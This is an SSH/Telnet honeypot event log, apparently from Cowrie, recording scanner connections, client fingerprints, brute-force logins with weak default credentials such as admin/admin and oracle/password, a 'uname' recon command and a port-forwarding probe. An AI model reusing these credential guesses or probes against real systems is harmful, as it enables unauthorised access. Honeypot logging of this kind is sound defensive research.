{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":41944,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1b33fe1e752","protocol":"ssh","message":"New connection: 122.168.114.167:41944 (159.203.135.109:22) [session: c1b33fe1e752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:04:38.723396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:04:40.386161Z","src_ip":"122.168.114.167","session":"c1b33fe1e752","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:04:40.427112Z","src_ip":"122.168.114.167","session":"c1b33fe1e752","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":42922,"dst_ip":"159.203.135.109","dst_port":22,"session":"7332f9c8f2bf","protocol":"ssh","message":"New connection: 159.223.45.177:42922 (159.203.135.109:22) [session: 7332f9c8f2bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:04:43.045583Z"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:04:45.800349Z","src_ip":"159.223.45.177","session":"7332f9c8f2bf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"password","message":"login attempt [oracle/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:04:48.511236Z","src_ip":"122.168.114.167","session":"c1b33fe1e752","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":49890,"dst_ip":"10.17.0.5","dst_port":22,"session":"fca5dcbb5cac","protocol":"ssh","message":"New connection: 87.251.64.176:49890 (10.17.0.5:22) [session: fca5dcbb5cac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:04:49.014646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:04:49.019558Z","src_ip":"87.251.64.176","session":"fca5dcbb5cac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:04:49.116617Z","src_ip":"87.251.64.176","session":"fca5dcbb5cac","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:04:49.406491Z","src_ip":"87.251.64.176","session":"fca5dcbb5cac","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:04:49.506087Z","session":"fca5dcbb5cac","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:04:49.607549Z","src_ip":"87.251.64.176","session":"fca5dcbb5cac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:04:49.706930Z","src_ip":"87.251.64.176","session":"fca5dcbb5cac","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:04:53.378665Z","src_ip":"122.168.114.167","session":"c1b33fe1e752","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:04:53.382294Z","src_ip":"122.168.114.167","session":"c1b33fe1e752","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"1.9","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:04:55.277342Z","src_ip":"122.168.114.167","session":"c1b33fe1e752","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.6","message":"Connection lost after 16.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:04:55.284244Z","src_ip":"122.168.114.167","session":"c1b33fe1e752","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.114.22.126","src_port":43908,"dst_ip":"10.17.0.5","dst_port":22,"session":"6543cae2de1a","protocol":"ssh","message":"New connection: 210.114.22.126:43908 (10.17.0.5:22) [session: 6543cae2de1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:05:01.297520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:05:02.605798Z","src_ip":"210.114.22.126","session":"6543cae2de1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:05:04.290690Z","src_ip":"210.114.22.126","session":"6543cae2de1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@55w0rd!","message":"login attempt [ubuntu/P@55w0rd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:05:05.308369Z","src_ip":"210.114.22.126","session":"6543cae2de1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:05:06.611590Z","src_ip":"210.114.22.126","session":"6543cae2de1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.75.222.164","src_port":35116,"dst_ip":"10.17.0.5","dst_port":22,"session":"69428a75f120","protocol":"ssh","message":"New connection: 106.75.222.164:35116 (10.17.0.5:22) [session: 69428a75f120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:05:07.215255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:05:07.221579Z","src_ip":"106.75.222.164","session":"69428a75f120","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:05:07.463147Z","src_ip":"106.75.222.164","session":"69428a75f120","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nnnnnn","message":"login attempt [admin/nnnnnn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:05:08.454519Z","src_ip":"106.75.222.164","session":"69428a75f120","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:05:09.700572Z","src_ip":"106.75.222.164","session":"69428a75f120","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":44346,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d52ace041a2","protocol":"ssh","message":"New connection: 122.168.114.167:44346 (159.203.135.109:22) [session: 5d52ace041a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:05:19.186492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:05:21.222305Z","src_ip":"122.168.114.167","session":"5d52ace041a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:05:21.226210Z","src_ip":"122.168.114.167","session":"5d52ace041a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"g","password":"g","message":"login attempt [g/g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:05:26.838262Z","src_ip":"122.168.114.167","session":"5d52ace041a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":40594,"dst_ip":"159.203.135.109","dst_port":23,"session":"df9270b08ac5","protocol":"telnet","message":"New connection: 41.76.108.55:40594 (159.203.135.109:23) [session: df9270b08ac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:05:27.525949Z"}
{"eventid":"cowrie.session.closed","duration":"9.8","message":"Connection lost after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:05:28.944790Z","src_ip":"122.168.114.167","session":"5d52ace041a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":40520,"dst_ip":"159.203.135.109","dst_port":23,"session":"8092e5a54a12","protocol":"telnet","message":"New connection: 41.76.108.55:40520 (159.203.135.109:23) [session: 8092e5a54a12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:05:31.539245Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":39968,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa0056b9361f","protocol":"telnet","message":"New connection: 41.76.108.55:39968 (159.203.135.109:23) [session: fa0056b9361f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:05:40.190168Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":33510,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff41a1e8f020","protocol":"telnet","message":"New connection: 41.76.108.55:33510 (159.203.135.109:23) [session: ff41a1e8f020]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:05:45.154467Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":54962,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cd762a2527e","protocol":"telnet","message":"New connection: 15.204.204.191:54962 (10.17.0.5:23) [session: 9cd762a2527e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:05:55.209357Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":49248,"dst_ip":"159.203.135.109","dst_port":23,"session":"78b0acae9761","protocol":"telnet","message":"New connection: 41.76.108.55:49248 (159.203.135.109:23) [session: 78b0acae9761]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:05:55.446676Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":45600,"dst_ip":"159.203.135.109","dst_port":23,"session":"942c11eb855d","protocol":"telnet","message":"New connection: 41.76.108.55:45600 (159.203.135.109:23) [session: 942c11eb855d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:05:55.635271Z"}
{"eventid":"cowrie.session.closed","duration":31.369961738586426,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:05:58.895789Z","src_ip":"41.76.108.55","session":"df9270b08ac5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":46748,"dst_ip":"159.203.135.109","dst_port":22,"session":"14442665f963","protocol":"ssh","message":"New connection: 122.168.114.167:46748 (159.203.135.109:22) [session: 14442665f963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:05:59.047519Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":37224,"dst_ip":"159.203.135.109","dst_port":23,"session":"31c4e054b6bc","protocol":"telnet","message":"New connection: 41.76.108.55:37224 (159.203.135.109:23) [session: 31c4e054b6bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:05:59.403270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:00.804200Z","src_ip":"122.168.114.167","session":"14442665f963","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:00.807508Z","src_ip":"122.168.114.167","session":"14442665f963","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.14043307304382,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:03.679530Z","src_ip":"41.76.108.55","session":"8092e5a54a12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":39732,"dst_ip":"10.17.0.5","dst_port":23,"session":"022b498bafb5","protocol":"telnet","message":"New connection: 15.204.204.191:39732 (10.17.0.5:23) [session: 022b498bafb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:05.824469Z"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123456","message":"login attempt [user2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:08.690006Z","src_ip":"122.168.114.167","session":"14442665f963","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":39734,"dst_ip":"10.17.0.5","dst_port":23,"session":"035aca30a3a3","protocol":"telnet","message":"New connection: 15.204.204.191:39734 (10.17.0.5:23) [session: 035aca30a3a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:11.233884Z"}
{"eventid":"cowrie.session.closed","duration":"12.6","message":"Connection lost after 12.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:11.648967Z","src_ip":"122.168.114.167","session":"14442665f963","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":60314,"dst_ip":"159.203.135.109","dst_port":23,"session":"753c28aed163","protocol":"telnet","message":"New connection: 41.76.108.55:60314 (159.203.135.109:23) [session: 753c28aed163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:11.660256Z"}
{"eventid":"cowrie.session.closed","duration":31.556928157806396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:06:11.746949Z","src_ip":"41.76.108.55","session":"fa0056b9361f","protocol":"telnet"}
